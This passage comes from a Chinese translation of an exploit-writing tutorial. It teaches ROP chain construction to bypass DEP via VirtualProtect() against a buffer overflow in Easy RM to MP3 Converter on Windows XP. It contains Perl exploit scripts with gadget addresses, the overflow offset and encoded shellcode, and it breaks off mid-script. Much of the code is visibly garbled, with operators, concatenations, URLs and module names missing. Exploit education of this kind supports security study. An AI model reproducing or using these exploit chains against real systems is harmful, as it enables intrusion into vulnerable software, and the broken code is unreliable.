才能控制EIP的值(如触发一个访问违例)。早在一个典型的基于SEHexploit中,你将会
用一个指向pop/pop/ret指针覆盖到SEH,这会使你到达下一个SEH,然后在那个位置执行
指令。
当DEP启用时,我们不能这么做。我们能很好地调用p/p/r,但是当它到达时,你将会在栈
上执行代码。然而我们不能在栈上执行代码,记得?我们不得不打造一个ROP链,用这条链
绕过/停用执行保护系统。这条链会放在栈上(作为你的exploitpayload的一部分)
所以在一个基于SEH的exploit例子中,我们不得不找一种方法来返回到我们的栈中而不是
调用一个poppopret串。
最简单的方法是执行一个所谓的“以栈为轴”的操作。不是用poppopret,我们将试着返
回到我们的缓冲区在的栈上的位置。我们可以通过下面的指令中的一个来达到目的:
●addesp,offset+ret
●movesp,寄存器+ret
●xchg寄存器,esp+ret
●call寄存器(如果寄存器指向你能控制的数据)
一样,怎样用这个创建我们的ROP链会在下面讨论。
在我们开始之前
在DinoDaiZovi/2010/04/
的关于ROP的令人敬畏的文章中,它已经将ROPexploit过程部件(39页)形象化得很好。
当打造一个基于ROP的exploit时,你将需要:
●以栈为轴
●用你的小配件来设置栈/寄存器(ROPpayload)
●投掷你的常规的shellcode
●使shellcode执行
我们将会在下一章介绍所有的阶段。
DirectRet--ROP版本--VirtualProtect()
到滚动
ROP
的时候了
让我们来打造我们的第一个ROPexploit。
我们将会用WindowsXPSP3Professional,English,DEP是OptOut模式。
在这个例子中,我将会试着为EasyRMtoMP3
Conventor/打造一个基于ROP的exploit,在教程
1:8800//2009/07/19/exploit-writing-tutorial-part-1-stack-based-ov
erflows/中用到的有弱点的应用程序。
注意:在你的系统上,偏移量和地址可能不一样。不要盲目地从这个教程中复制一切,
但是自己试一下然后需要时调整下地址。
EasyRMtoMP3Conventor在打开一个包含极度长的字符串的m3u文件时会有缓冲区溢出
的弱点。用一个循环的方式,我们发现在26094字节后EIP被覆盖。同时,这是在我的系统
上的偏移量。如果偏移量是不一样的,然后适当地改变脚本。这个偏移量是基于m3u文件
在你的系统上的位置,由于应用程序会预先用文件的全路径来计划缓冲区。你可以用20000
个A+7000字符来计算偏移量。
无论如何,exploit脚本(perl)的骨架看起来是这样的:
如果我们的偏移量是正确的话,EIP会被BBBB(42424242)覆盖...
...并且ESP指向一个包含我们的一连串C的地址。到目前为止,这是一个典型的directRet
覆盖exploit。
它不适用于DEP,我们需要在ESP处放我们的shellcode(而不是一连串C)然后用跳转到
esp的指针覆盖掉EIP。但是我们不能那样做因为由于DEP我们的shellcode不能执行。
因此我们将会用VirtualProctect()()函数来创建一个ROP链来改变内存页
(shellcode在的位置)的访问保护级别,因此它会被执行。
为了使这个成功,我们需要传递一些参数给这个函数。在函数被调用时,这些参数需要放在
栈顶。
有一些方法可以做这个。我们可以将需要的值放在寄存器中然后用pushad操作(一次将所
有东西入栈)。另一种技术是将其中的一些参数(静态的/没有null字节的)放在栈上,并且
用一些ROP小配件来计算其他的一些参数,将它们写入栈(用一些sniper技术)。
我们不能在m3u文件中用null字节,因为EasyRMtoMP3Converter会将文件中的数据当
做字符串,然后字符串会被第一个null字节阻断。我们也要记住我们很可能以一些限制性
字符集结束(我们可以简单地创建编码的shellcode来克服这个问题)
闲话说的很多了,现在让我们开始吧。
怎样打造链(链接基础)
为了绕过DEP,我们需要打造一连串现有指令。能够在所有的模块中找到的指令(只要它
们可执行,有一个静态地址并且不包含null字节的就行)
基本上,由于你需要将数据放到栈上(将会绕过DEP的函数参数),你将会找一些能够允许
你修改寄存器的指令,将数据入栈和出栈等等。
这些指令中的每一个--由于某种原因--需要跳到你要执行的下一条指令(或者指令集)。最简
单的方法是确保这指令跟着一条RET指令。这个RET指令会从栈上拾取下一个地址然后跳
过去。(毕竟,我们从栈上开始我们的链,因此RET将会返回到栈上然后带走下一个地址)。
因此基本上在我们的链中,我们将会从栈上拾取地址然后跳过去。这些地址的指令能够从栈
上拾取数据(因此当然这些字节不得不放在正确的地方)。这些的结合会形成我们的rop链。
每个“指令+RET”被叫做一个“ROP小配件”。
这意味着,在指针之间(指向指令),你可以通过这些指令中的一个来放你能拾取到的数据。
同时,你需要评估下这些指令能干什么并且栈上两个指针怎样影响你需要的空间。如果一个
指令执行ADDESP,8,然后这将会移动栈指针,并且会影响下一个指针应该放在哪里。因
此小配件末尾的RET需要返回到下一条指令的指针。
我猜很明白你的ROP例程会很可能消费栈上的一定数量的字节。因此我们的例程的可利用
缓冲区空间会很重要。
如果所有听起来很复杂,那么不要担心。我会用一个小例子来使事情明白点:
比如说,作为ROP例程的一部分,我们需要从栈上取出一个值,放在EAX中,并且加上
0x80。换句话说:
●我们需要找到一个指向POPEAX+RET的指针然后放到栈上(小配件1)
●放入EAX中的值必须放在指针的下面
●我们需要找到另一个指针(指向ADDEAX,80+RET)并且将它放在从栈上弹出的值的下面
(小配件2)
●我们需要跳到第一个小配件(指向POPEAX+RET)来开始这个链
我们将在一会儿讨论找rop指针。现在,我将给你这些指针:
10026D56:POPEAX+RET:小配件1
1002DC24:ADDEAX,80+POPEBX+RET:小配件2
(第二个指针会执行POPEBX。这不会破坏我们的链,但是会影响ESP和你需要用作下一个
rop小配件的填料,因此我们不得不插入一些“填料”来弥补这个)
因此,如果我们要一个接一个执行这两个指令,然后用我们期待的在EAX中的值来结束,那
么栈设置是这样的:
栈地址
ESP指向这里->0010F730
0010F734
0010F738
0010F73C
栈值
10026D56(指向POPEAX+RET)
50505050(将被弹入EAX)
1002DC24(指向ADDEAX,80+POPEBX+RET)
DEADBEEF(将被弹入EBX,填料)
因此,首先,我们将需要确认0x10026D56被执行。我们在我们的exploit的开始处,因此
我们不得不使EIP指向一个RET指令。在一个已经加载的模块中找到一个指向RET的指针然
后将那地址放入EIP中。我们用0x100102DC。
当EIP被一个指向RET的指针覆盖,它明显会跳到那个RET指令。RET指令会返回到栈中,
在ESP(0x10026D56)取出值然后跳到那里。这将指向POPEAX并且将50505050放入EAX
中。POPEAX(在0x10026D57)后的RET会跳到ESP处的地址。这会在0x1002DC24(因为
50505050被弹到eax中)。0x1002DC24是指向ADDEAX,80+POPEBX+RET的指针,因此下一
个小配件会在50505050加上0x80。
我们的例子exploit将会是这样的:
将调试器附加到这个程序中,然后在0x100102DC设置一个断点。运行程序然后倒入m3u文
件。断点将会被碰上:
当碰上断点时,EIP指令指向我们的RETN指令。你可以在CPU窗口下面的小窗口中看到
RET指令会返回到0x10026D56(在栈顶,ESP指向的位置):
●RETN:EIP跳到0x10026D56,ESP移动到0010F734
●POPEAX:将会从栈上取出50505050然后放入EAX。ESP移到0010F738
●RETN:会将1002DC24放入EIP并且将ESP移到0010F73C
●ADDEAX,80:将会在50505050上加上0x80(EAX)
●POPEBX:这会将DEADBEEF放入EBX中并且会将ESP加上4字节(到0010F740)
●RETN:这会从栈上取出下一个指针然后跳到那里(这个例子中是43434343)
在最后一个RETN被执行前,我们可以看到:
正如你能看到的,我们可以执行指令并且在寄存器上精巧制作值,没有直接在栈上执行一条
单独的机器码。我们已经将现有的指令链在一起,这是ROP的本质。
在继续之前确保你已经理解了链接的思想。
找
ROP
小配件
一会儿之前,我已经介绍了ROP链的基础。本质上,你需要找到跟着一个RET指令(RETN,
RETN4,RETN8等等)的指令序列,它会允许你跳到下一个序列/小配件。
有两种方法来找到帮你打造ROP链的小配件:
●你可以明确地找一些指令然后看它们是否跟着一个RET。在你找的指令和RET指令之间的
指令(会结束小配件)应该不要破坏小配件。
●你可以找所有的RET指令然后往回走,看是否前面的指令包括你要找的指令。
在两者情况下,你可以用调试器来找指令,找RET,等等。然而,手动搜索这些指令是很费
时间的。
而且,如果你用“列出所有的并且往回看”的方法(将会立刻产生更多的结果并且给你更精
确的结果),你可以做些机器码分片来找额外的小配件(以同样的ret结束的)
这听起来有点模糊,因此我将给你一个例子。
比如你在0x0040127C(机器码0xC3)找一个RET。在调试器的CPU窗口中,在ret之前的
指令是ADDAL,0x58(机器码0x800xc00x58)。因此你已经找到一个将0x58加到AL上的
小配件。
这两个指令通过分开ADD指令的机器码能产生另一个小配件。ADD指令的最后一个字节
是58。并且那是POPEAX的机器码。
这意味着有另一个rop小配件,从0x0040127E处开始:
如果你正在找RET然后再调试器窗口看前面的指令,那么你不能发现这个。
为了能使你的生活更简单点,我已经在pvefindaddr写了一个函数,它将
●找所有的ret(RETN,RETN4,RETN8等等)
●往回看(一直到8个指令)
●并且会做“机器码分块”来找新的以同样的RET小配件
因此打造自己的rop小配件集,所有你要做的是运行!Pvefindaddrrop,它将会给你很多的
rop小配件给你玩。并且如果你的指针(rop小配件)必须是没有null字节的,那么简单地
运行“!pvefindaddrropnonull”。
这个函数会写入所有的ROP小配件到ImmunityDebugger的程序文件夹下的“”文
件中。注意这个操作很花费CPU的,并且会花一天来产生所有的小配件(取决于加载模块的
数目)。我的建议是找你要用的模块(!Pvefindaddrnoaslr)并且运行!Pvefindaddrrop<
模块名>而不是盲目地在所有模块上运行它。
你能从一个特定的模块中通过制定模块名(如:“!”)创
建rop小配件
注意:“!pvefindaddrrop”将自动忽略ASLR模块中的地址或者需要重定基址的模块。
这会帮我们确认结果()只包含能够导致或多或少可靠的exploit的指针。如果你坚持
包括这些模块的指针,你将不得不手工对这些模块的每一个运行!pvefindaddrrop<模块名>。
“
call
寄存器”小配件
倘使你正在找一个特别的指令,但是看起来不可能找到一个以ret结束的小配件?倘使你已
经你已经在你喜欢加载的模块中完成搜索,并且发现你只能找到一个在RET前有一个“call
寄存器”的指令?
首先,你应该找一种方法来将一个有意义的指针放入那个寄存器中。只是使一个指针放在栈
上然后给自己找一个能将值放入寄存器的小配件。这回确认CALL寄存器指令将会成功。
这个指针可以是一个RET,允许你那样做犹如CALL指令不存在。或者你也能简单地用一
个指向另一个小配件的指针来继续你的rop链。
Pvefindaddrrop也会列出在ret前面有一个call寄存器指令的小配件。
明白了。但是我要怎样
/
从哪里开始?
在写单独的一行代码前,你要做的第一件事是设置你的策略,通过问自己下面的问题:
●我会用什么技术(WindowsAPI)来绕过DEP并且在栈上创建的栈设置/参数会有什么影响。
当前的DEP策略是什么并且绕过它的选择是什么?
●我能用什么rop小配件?(这个会是你的工具箱并且会允许你精巧制作你的栈)
●怎么开始这个链?怎样转到你控制的缓冲区上?(在一个directRETexploit中,你很
可能控制ESP,因此你简单地用一个指向RETN的指针来覆盖EIP来开始这个链)
●怎样精巧地布置栈?
回答:
●技术:在这个例子中,我会用VirtualProtect()来修改你的shellcode在的位置的内存
页保护参数。你可以明显用DEP策略兼容函数中的一个,但这个例子中我会用
VirtualProtect()。当函数被调用时,这个函数需要下面的参数放在栈顶:
○返回地址。在VirtualProtect()函数完成时,这个是函数要返回到的地址。
(=shellcode在的位置的指针。在运行时动态产生的地址(rop))
○lpAddress:shellcode在的位置的指针。在运行时动态产生的地址(rop)
○Size:在运行时动态产生(除非你的exploit缓冲区能处理null字节,但是这不是
EasyRMtoMP3的情况)
○flNewProtect:新的保护标志。这个值必须设成0x20来使页面可执行。这个值包含
null字节,因此这个值也要在运行时产生。
○lpflOldProtect:接收旧的保护标志值的指针。它可以是静态地址,但是必须是可写
的。我会从EasyRMtoMP3Converter模块(0x10035005)中的一个取出一个地址。
●ROP小配件:!pvefindaddrrop
●开始这个链:转到栈上。这个例子中,是一个directRET覆盖,因此我们只需一个RET
的指针。我们已经有一个可以成功的指针(0x100102DC)
●可以用不同的方法精巧地布置栈。你可以将值放到寄存器中然后将它们入栈。你可以把一
些值放到栈上然后用sniper技术写入动态值。打造逻辑,这个难题,这个酷比魔方,可能
是整个ROP打造过程中最难的部分。
我们的编码后的shellcode(“弹出一个对话框”)将在620字节左右并且能首先存在栈上的
某个地方。(我们不得不编码整个shellcode因为EasyRMtoMP3有一些字符限制)
我们的缓冲区/栈看起来是这样的:
●废物
●eip
●废物
●产生/写入参数的rop链
●调用VirtualProtect函数的rop链
●更多的rop/一些填料/nop
●shellcode
●废物
并且在VirtualProtect函数被调用的同时,栈被rop链修改成这样:
废物
Eip
废物
rop
ESP指向这里->参数
更多的rop
填料/nop
Shellcode
废物
开始前测试下
在实际打造rop链之前,我会核实VirtualProtect()会导致期望的结果。最简单的方法是
在调试器里手动布置栈/函数参数:
●是EIP指向VirtualProtect()函数调用。在XPSP3,这个函数能在0x7C801AD4
●手动将VirtualProtect()期望的参数入栈
●将shellcode入栈
●运行函数
如果成功,我确信VirtualProtect()调用会成功,shellcode也会成功运行。
为了使这个简单的测试更容易,我将用下面的exploit脚本:
用这个脚本,我们用VirtualProtect()的指针(0x7C801AD4)覆盖EIP,并且我们会将5个需
要的参数放到栈顶,接着一些nop指令,然后是messageboxshellcode。
lpAddress,Size和flNewProtect参数设成“XXXX”,“YYYY”和“ZZZZ”。我们将在一会
儿手动改变他们。
创建m3u文件,将ImmunityDebugger附加到程序中然后在0x7C801AD4处设一个断点。运
行程序,打开m3u文件并核查断点被碰上:
现在看下栈顶。我们可以看到5个参数:
滚下来知道你能看到shellcode的开头:
记录shellcode的基地址(例子中是0010F80C)然后滚下来核查整个shellcode都在栈中。
现在的思路是手动编辑栈上的参数然后测试VirtualProtect调用会不会成功。
在栈上编辑一个值和选择一个值一样简单,按CTRL+E,然后输入一个新的值(记住这是小
顶机!)。
首先,在0010F730处编辑值(返回地址)然后将它设成shellcode的地址(0010F80C)。
然后在0010F734处(Address,现在包含58585858)编辑值,把它设成0010F80C(同样,
你的shellcode在的位置的地址)
现在,在0010F738处(Size,现在包含59595959)编辑值,把它设成shellcode的大小。我
将花700字节,和0x2BC一致
有点远也没事,只要确保你的shellcode会包含在Address+Size的范围之内。你会看到
当用rop来精巧制作一个值是很困难的,因此你理解你不需要很精确是很重要的。如果你用
nop来包围你的代码并且你确信你能覆盖所有的shellcode,那也可以。
最后,在0010F73C(NewProtect)处编辑值并设成0x40:
修改之后,栈是这样的:
按F7一次然后看怎样跳到VirtualProtect()。
正如你所看到的,这个函数自身很短,除了一些跟栈相互作用的指令之外,只包含一个到
VirtualProtectEx的调用。这个函数将改变访问保护级别。
继续单步步入这些指令(F7)知道你到达RETN10指令(在0x7C801AED)。
在那时,栈包含这个:
ret将会跳到我们的shellcode中然后执行(如果一切顺利的话)
按F9:
这意味着VirtualProtect()技术是成功的。
是停止玩的时候了&使它通用(=运行时创建动态值)。
Everybodystaycool,thisisaroppery
如果你希望用一些通用的指令来打造一个ROP链,那么我让你失望了。没有这样的东西。跟
着的是一些创造力,尝试&错误,一些asm事实的结果,和!pvefindaddrrop的输出。
唯一可能的接近“或多或少通用”的rop结构(这个是对我来说很好的)是这样的:
正如你看到的,我们在链的开头基本上限制了指令(rop小配件)的数目。我们只是保存栈
指针然后跳转(到VirtualProtect函数/参数),这会使后面覆盖参数占位符更容易点。(不要
担心--你会在一会儿之后明白我的意思)
函数指针/参数占位符很明显没有rop小配件,但是只是放在栈上的静态数据,作为缓冲区
的一部分。你唯一要做的事是用动态创建的值改变/覆盖占位符,用占位符后面的一个rop
链。
首先,我们要改变在我们的测试脚本中用来覆盖EIP的地址。不是直接调用VirtualProtect(),
我们现在不得不返回到栈上。因此用一个指向RETN的指针覆盖掉EIP。我们将用早些时候
找到的:0x100102DC
接下来,我们需要考虑在栈上精巧布置我们的值并将它们放在正确的地方的可能选择。
●shellcode的指针:一种最简单的方法是把ESP的地址放在一个寄存器中,然后增长它直
到它指向shellcode。可能有其他的方法,我们要在的输出中看下我们的处理是什
么。
●Size变量:你可以设置一个寄存器一个开始值然后增长直到它包含0x40。或者你可以找
在寄存器上的ADD或SUB指令,当它执行时产生0x40。当然,你不得不首先将开始值(从
栈上弹出的)放入那个寄存器中。
●将动态产生的数据放回到栈上也可以通过很多种方法实现。你可以将值按照正确的顺序放
到寄存器中,然后用pushad将它们入栈。或者你可以用“MOVDWORDPTRDS:[寄存器A+
偏移量],寄存器B”指令写入栈上的特定位置。当然寄存器B首先必须包含期望的值。
因此很明白你要看下,你的工具箱,然后看下什么方法会成功。
你明显需要找到不会搞糟指令流或者改变其他寄存器/值的指令...如果它们可以的话,
你可以利用它。打造一个rop链的过程跟解决酷比魔方很像。当你执行一条指令,它可能会
对其他的寄存器/栈位置/...产生影响。目标是利用它们(或者当它们会破坏链时完全避免)
总是从创建你的文件开始。如果你坚持用程序dll的指针,那么你可以创建很多
rop文件,每个特定的模块一个。但是只要你用OSdll自身的地址硬编码一个WindowsOSAPI
的函数指针,那么避免OSdll就没意义了。
或者,核查一下程序dll中的一个是否包含一样的函数调用是很值得的。这会是exploit
可移植和通用。(看后面的ASLR)
在这个例子中,我将用VirtualProtect()。可用的专用模块也是可执行程序自身(不受ASLR
的影响)和(不受ASLR影响并且也不会重定基址)。因此,用IDAFree
加载两个文件看下这些模块中的一个是否包含一个VirtualProtect()的调用。如果是的话,
我们也可以试着用程序自身的指针。
结果:没有找到任何调用,因此我们要用里的地址
很好,我们现在真正开始
阶段1:保存栈指针然后跳过参数
我们的VirtualProtect()函数中的2个参数需要指向我们的shellcode。(返回值和
lpAddress)。由于shellcode放在栈上,最简单的方法是将当前栈指针存入一个寄存器。这
有3个优点:
●你可以简单地加/减寄存器上的值使它指向你的shellcode。ADD,SUB,INC,DEC指令很
普遍。
●最初的值指向跟VirtualProtect()在的栈地址很近。当我们需要跳回去并调用
VirtualProtect()时,我们要在rop链末尾利用这个。
●这个值也很靠近参数占位符的栈位置。用一个“movdwordptrds:[寄存器+偏移量],寄
存器”指令来覆盖参数占位符很简单。
保存栈指针可以用很多方法:MOVREG,ESP/PUSHESP+ROPREG,等等
你会注意到MOVREG,ESP不是一个好选择,因为很可能在同一个小配件中REG会又被弹出,
因此又覆盖了REG的栈指针。
在中快速搜索后,我发现这个;
栈指针入栈,然后又弹入EDI中。这很好,但是,正如你将要学到的,在那个寄存器上做
ADD/SUB/...操作指令时,EDI不是一个流行的寄存器。因此将指针存入EAX中也是一个好
主意。此外,我们可能需要在两个寄存器中存这个指针。因为我们需要改变一个使它指向
shellcode,我们可能需要用另一个指向函数占位符在的栈位置。
因此,再次快速搜索,我们得到这个:
这个也会将同样的栈指针存入EAX中,注意POPEBP指令。我们需要加上一些填料来弥补
这个指令。
好的,这是我们需要的一切。我真的很喜欢避免在函数指针/参数之前写太多小配件,因为
这会使覆盖参数占位符更难。因此剩下的是跳到函数块。
最简单的方法是加上一些字节到ESP,然后返回...:
到目前为止,我们的exploit脚本是这样的:
创建m3u文件,将Immunity附加到程序中,在0x100102DC处设断,打开文件直到碰到断
点。
当碰到断点时,看栈上。你应该能看到你的minirop链,紧跟着VirtualProtect的指针和它的
参数(占位符),然后在修改ESP后我们要结束的位置。
单步执行指令然后看EAX,EDI和ESP。你应该看到ESP被入栈,放进EDI中。然后EDI
被入栈然后弹出到EAX中。最后ESP加上0x20字节并且RET将会把4A4A4A4A放入EIP
(JJJJ=my$rop2)
明白了吗?让我们继续。
阶段2:精巧制作第一个参数(返回值)
我们现在继续产生第一个参数然后覆盖在栈上第一个参数的占位符。
第一个参数需要指向shellcode。这个参数会用作VirtualProtect()函数的返回值,当函数已经
将页面标记为可执行时,它会自动跳到那里。
我们的shellcode在哪里?好的,在栈窗口中往下滚。在nop之后,我们将看到shellcode。
计划是用EAX或者EDI(两个都包含栈上的一个值),然后增加,留有足够的空间给未来的
rop小配件,因此它会指向nop/shellcode。
(你可以用nop的大小来确认改变了的值指向nop/shellcode,因此会很通用)
改变值是和在寄存器上加一些字节一样简单。假设我们要用EAX,我们可以找会做ADD
EAX,<一些值>+RET的rop小配件。
一个可能的小配件是这样的:
它会在EAX上加上0x100。一次增加就已经足够了(0x100=256字节)。如果还不够的话,
我们可以在后面再次插入另一个add。
接下来,我们需要将这个值写入栈中,覆盖掉占位符(当前包含“WWWW”或者57575757)。
我们怎么做到这个?
最简单的方法是找一个指向MOVDWORDPTRDS:[寄存器],EAX的指针。如果我们能
使[寄存器]指向占位符的地址,那么我们用EAX的内容(=指向shellcode的指针)覆盖掉
那个位置来结束。
一个可行的指针是这样的:
为了能使它成功,我们不得不放一个指针到占位符中-0x10到ESI。在这个值被写入时,我
们在EAX中有指向占位符的指针(MOVEAX,ESI),很棒...我们会在后面又用到它。接下
来,我们需要插入一些填料来弥补POPESI指令。
提示:使自己拥有一份UnxUtils/projects/unxutils/的拷贝(GNU最
重要的实用工具的端口,对win32)。这方法能用cat&grep来找好的小配件:
|grep"MOVDWORDPTRDS:[ESI+10],EAX#MOVEAX,ESI"
(不要忘了:和[之间的反斜杠)
但是在我们能用这个指令之前,我们不得不将正确的值放入ESI中。我们在EDI和EAX中
有指向栈的指针。EAX将会被用/改变(指向shellcode,记得),因此我们需要试着将EDI
的值放到ESI中,然后改变它的值使它指向参数1的占位符-0x10:
将这三个东西放在一起,我们的第一个真正的rop链是这样的:
将EDI放入ESI(然后增加它,如果必要的话,它会指向占位符1),改变EAX中的值因此
它会指向shellcode,然后覆盖掉占位符。
(注意:对第一个覆盖操作,ESI会自动指向正确的位置,因此我们需要增加或减少值。
ESI+10将会指向第一个参数占位符的位置)
在小配件之间,我们需要弥补额外的POP和RET4。
在将东西放在一起之后,exploit脚本是这样的:
#------------------------------------------------------------
#ROPbasedexploitforEasyRMtoMP3Converter
#writtenbycorelanc0d3r-:8800
#------------------------------------------------------------
my$file="rop.m3u";
my$buffersize=26094;
my$junk="Z"x$buffersize;
my$eip=pack('V',0x100102DC);#returntostack
my$junk2="AAAA";#compensate
#------PutstackpointerinEDI&EAX------------------------#
my$rop=pack('V',0x5AD79277);#PUSHESP,POPEDI
$rop=$('V',0x77C1E842);#PUSHEDI,POPEAX
$rop=$rop."AAAA";#compensateforPOPEBP
#stackpointerisnowinEAX&EDI,nowjumpoverparameters
$rop=$('V',0x1001653D);#ADDESP,20
#-------ParametersforVirtualProtect()----------------------#
my$params=pack('V',0x7C801AD4);#VirtualProtect()
$params=$params."WWWW";#returnaddress(param1)
$params=$params."XXXX";#lpAddress(param2)
$params=$params."YYYY";#Size(param3)
$params=$params."ZZZZ";#flNewProtect(param4)
$params=$('V',0x10035005);#writeableaddress
$params=$params.("H"x8);#padding
#ADDESP,20+RETwilllandhere
#changeESIsoitpointstocorrectlocation
#towritefirstparameter(returnaddress)
my$rop2=pack('V',0x763C982F);#XCHGESI,EDI#DECECX#RETN4
#-----Makeeaxpointatshellcode--------------------------
$rop2=$('V',0x1002DC4C);#ADDEAX,100#POPEBP
$rop2=$rop2."AAAA";#padding-compensateforRETN4before
$rop2=$rop2."AAAA";#padding
#----------------------------------------------------------
#returnaddressisinEAX-writeparameter1
$rop2=$('V',0x77E84115);
$rop2=$rop2."AAAA";#padding
#
my$nops="x90"x240;
#
#./msfpayloadwindows/messagebox
#TITLE=CORELANTEXT="roptestbycorelanc0d3r"R
#|./msfencode-ex86/alpha_mixed-tperl
my$shellcode=
"x89xe0xdaxcfxd9x70xf4x5ax4ax4ax4ax4ax4ax4a".
"x4ax4ax4ax4ax4ax43x43x43x43x43x43x37x52x59".
"x6ax41x58x50x30x41x30x41x6bx41x41x51x32x41".
"x42x32x42x42x30x42x42x41x42x58x50x38x41x42".
"x75x4ax49x48x59x48x6bx4fx6bx48x59x43x44x51".
"x34x4cx34x50x31x48x52x4fx42x42x5ax46x51x49".
"x59x45x34x4ex6bx51x61x44x70x4ex6bx43x46x46".
"x6cx4cx4bx42x56x45x4cx4cx4bx42x66x43x38x4c".
"x4bx51x6ex45x70x4ex6bx50x36x44x78x42x6fx45".
"x48x44x35x4cx33x50x59x43x31x4ax71x4bx4fx48".
"x61x43x50x4cx4bx50x6cx51x34x46x44x4ex6bx47".
"x35x45x6cx4cx4bx42x74x43x35x42x58x46x61x48".
"x6ax4ex6bx51x5ax45x48x4ex6bx42x7ax47x50x47".
"x71x48x6bx4ax43x45x67x42x69x4ex6bx47x44x4e".
"x6bx46x61x48x6ex46x51x49x6fx45x61x49x50x49".
"x6cx4ex4cx4dx54x49x50x50x74x45x5ax4bx71x48".
"x4fx44x4dx47x71x4bx77x48x69x48x71x49x6fx49".
"x6fx4bx4fx45x6bx43x4cx47x54x44x68x51x65x49".
"x4ex4ex6bx50x5ax45x74x46x61x48x6bx50x66x4e".
"x6bx46x6cx50x4bx4cx4bx51x4ax45x4cx45x51x4a".
"x4bx4ex6bx43x34x4cx4bx43x31x4ax48x4dx59x42".
"x64x51x34x47x6cx45x31x4fx33x4fx42x47x78x44".
"x69x49x44x4fx79x4ax45x4ex69x4ax62x43x58x4e".
"x6ex42x6ex44x4ex48x6cx43x62x4ax48x4dx4cx4b".
"x4fx4bx4fx49x6fx4dx59x42x65x43x34x4fx4bx51".
"x6ex48x58x48x62x43x43x4ex67x47x6cx45x74x43".
"x62x49x78x4ex6bx4bx4fx4bx4fx49x6fx4fx79x50".
"x45x45x58x42x48x50x6cx42x4cx51x30x4bx4fx51".
"x78x50x33x44x72x44x6ex51x74x50x68x42x55x50".
"x73x42x45x42x52x4fx78x43x6cx47x54x44x4ax4c".
"x49x4dx36x50x56x4bx4fx43x65x47x74x4cx49x48".
"x42x42x70x4fx4bx49x38x4cx62x50x4dx4dx6cx4e".
"x67x45x4cx44x64x51x42x49x78x51x4ex49x6fx4b".
"x4fx49x6fx42x48x42x6cx43x71x42x6ex50x58x50".
"x68x47x33x42x6fx50x52x43x75x45x61x4bx6bx4e".
"x68x51x4cx47x54x47x77x4dx59x4bx53x50x68x51".
"x48x47x50x51x30x51x30x42x48x50x30x51x74x50".
"x33x50x72x45x38x42x4cx45x31x50x6ex51x73x43".
"x58x50x63x50x6fx43x42x50x65x42x48x47x50x43".
"x52x43x49x51x30x51x78x43x44x42x45x51x63x50".
"x74x45x38x44x32x50x6fx42x50x51x30x46x51x48".
"x49x4cx48x42x6cx47x54x44x58x4dx59x4bx51x46".
"x51x48x52x51x42x46x33x50x51x43x62x49x6fx4e".
"x30x44x71x49x50x50x50x4bx4fx50x55x45x58x45".
"x5ax41x41";
my$rest="C"x300;
my$payload=$junk.$eip.$junk2.$rop.$params.$rop2.$nops.$shellcode.$rest;
print"Payloadsize:".length($payload)."n";
print"Shellcodesize:".length($shellcode)."n";
open($FILE,">$file");
print$FILE$payload;
close($FILE);
print"m3uFile$fileCreatedsuccessfullyn";
让我们在调试器中单步步入然后看addesp,20+ret执行之后发生了什么:
ret返回到0x763C982F(将EDI放入ESI)。
这时,寄存器是这样的:
(EAX和ESI现在指向栈上保存的地址)
这个小配件返回到0x1002DC4C(将会在EAX上加上0x100字节。这会增加EAX的值到
0010F834,指向shellcode之前的nop。
这个小配件返回到0x77E84115(将会执行下面的指令):
1、它会将EAX(=0x0010F834)写入ESI,+0x10地址处ESI当前包含0x0010F34。在ESI+10
(0x0010F44),我们返回值的占位符:
当mov指令执行时,我们成功地写入我们的返回地址(指向nop),作为VirtualProtect()函数
的参数:
2、ESI的值存入EAX,并且栈中的一些数据存入ESI。
阶段3:精巧制作第二个参数(lpAddress)
第二个参数需要指向标记为可执行的位置。我们将简单地用同样的指针正如第一个参数用
的。
这意味着我们能-或多或少-从阶段2重复整个序列,但是在我们能做这个之前,我们需要重
设我们的起始值。
在当前时候,EAX依然持有初始的保存的栈指针。我们不得不将它放回ESI中。因此我们
不得不找到一个做这样的事的小配件:PUSHEAX,POPESI,RET
然后,我们不得不增加EAX的值(add0x100)。我们又能用同样的小配件作为那个用来产
生参数1的值:0x1002DC4C(ADDEAX,100#POPEBX#RET)
最后,我们不得用4字节增加ESI的值,为了确保它指向下一个参数。我们所需要的是ADD
ESI,4+RET,或者4次的INCESI,RET
我会用
因此,更新过的exploit脚本是这样的:
#------------------------------------------------------------
#ROPbasedexploitforEasyRMtoMP3Converter
#writtenbycorelanc0d3r-:8800
#------------------------------------------------------------
my$file="rop.m3u";
my$buffersize=26094;
my$junk="Z"x$buffersize;
my$eip=pack('V',0x100102DC);#returntostack
my$junk2="AAAA";#compensate
#------PutstackpointerinEDI&EAX------------------------#
my$rop=pack('V',0x5AD79277);#PUSHESP,POPEDI
$rop=$('V',0x77C1E842);#PUSHEDI,POPEAX
$rop=$rop."AAAA";#compensateforPOPEBP
#stackpointerisnowinEAX&EDI,nowjumpoverparameters
$rop=$('V',0x1001653D);#ADDESP,20
#-------ParametersforVirtualProtect()----------------------#
my$params=pack('V',0x7C801AD4);#VirtualProtect()
$params=$params."WWWW";#returnaddress(param1)
$params=$params."XXXX";#lpAddress(param2)
$params=$params."YYYY";#Size(param3)
$params=$params."ZZZZ";#flNewProtect(param4)
$params=$('V',0x10035005);#writeableaddress
$params=$params.("H"x8);#padding
#ADDESP,20+RETwilllandhere
#changeESIsoitpointstocorrectlocation
#towritefirstparameter(returnaddress)
my$rop2=pack('V',0x763C982F);#XCHGESI,EDI#DECECX#RETN4
#-----Makeeaxpointatshellcode--------------------------
$rop2=$('V',0x1002DC4C);#ADDEAX,100#POPEBP
$rop2=$rop2."AAAA";#padding-compensateforRETN4before
$rop2=$rop2."AAAA";#padding
#----------------------------------------------------------
#returnaddressisinEAX-writeparameter1
$rop2=$('V',0x77E84115);
$rop2=$rop2."AAAA";#padding
#EAXnowcontainsstackpointer
#saveitbacktoESIfirst
$rop2=$('V',0x775D131E);#PUSHEAX#POPESI#RETN
#-----Makeeaxpointatshellcode(again)--------------------------
$rop2=$('V',0x1002DC4C);#ADDEAX,100#POPEBP
$rop2=$rop2."AAAA";#padding
#increaseESIwith4
$rop2=$('V',0x77157D1D);#INCESI#RETN[Module:]
$rop2=$('V',0x77157D1D);#INCESI#RETN[Module:]
$rop2=$('V',0x77157D1D);#INCESI#RETN[Module:]
$rop2=$('V',0x77157D1D);#INCESI#RETN[Module:]
#andwritelpAddress(param2)
$rop2=$('V',0x77E84115);
$rop2=$rop2."AAAA";#padding
#
my$nops="x90"x240;
#
#./msfpayloadwindows/messagebox
#TITLE=CORELANTEXT="roptestbycorelanc0d3r"R
